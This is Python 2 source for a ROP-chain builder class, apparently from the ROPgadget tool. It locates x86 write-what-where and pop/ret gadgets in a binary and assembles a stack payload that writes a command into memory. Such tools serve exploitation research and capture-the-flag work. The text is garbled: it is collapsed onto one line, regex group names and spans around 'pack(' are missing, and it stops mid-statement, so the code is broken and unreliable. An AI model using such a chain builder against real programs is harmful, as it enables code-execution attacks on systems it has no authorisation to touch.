#!/usr/bin/env python2 ## -*- coding: utf-8 -*- ## ## Jonathan Salwan - 2014-05-13 ## ## http://shell-storm.org ## http://twitter.com/JonathanSalwan ## import re from capstone import * from textwrap import wrap import sys from struct import pack class ROPMakerX86(object): def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0): self.__binary = binary self.__gadgets = gadgets self.paddingLen = paddingLen self.outFile = outFile self.execPath = execPath # If it's a library, we have the option to add an offset to the addresses self.__liboffset = liboffset self.__generate() def __lookingForWrite4Where(self, gadgetsAlreadyTested): for gadget in self.__gadgets: if gadget in gadgetsAlreadyTested: continue f = gadget["gadget"].split(" ; ")[0] # regex -> mov dword ptr [r32], r32 regex = re.search("mov dword ptr \[(?P([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))\], (?P([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))$", f) if regex: lg = gadget["gadget"].split(" ; ")[1:] try: for g in lg: if g.split()[0] != "pop" and g.split()[0] != "ret": raise # we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer if g != "ret": if g.split()[0] == "ret" and g.split()[1] != "": raise print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) return [gadget, regex.group("dst"), regex.group("src")] except: continue return None def __lookingForSomeThing(self, something): for gadget in self.__gadgets: lg = gadget["gadget"].split(" ; ") if lg[0] == something: try: for g in lg[1:]: if g.split()[0] != "pop" and g.split()[0] != "ret": raise # we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer if g != "ret": if g.split()[0] == "ret" and g.split()[1] != "": raise print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"])) return gadget except: continue return None def __padding(self, gadget, regAlreadSetted): p = b"" lg = gadget["gadget"].split(" ; ") for g in lg[1:]: if g.split()[0] == "pop": reg = g.split()[1] try: p = pack(" 0: command = (4 - (len(command) % 4)) * "/" + command command_chunks = wrap(command, 4) # write the command address = 0 offset = 0 for i, chunk in enumerate(command_chunks): offset = (i * 4) address = dataAddr + offset p += pack(" [edx] p += pack('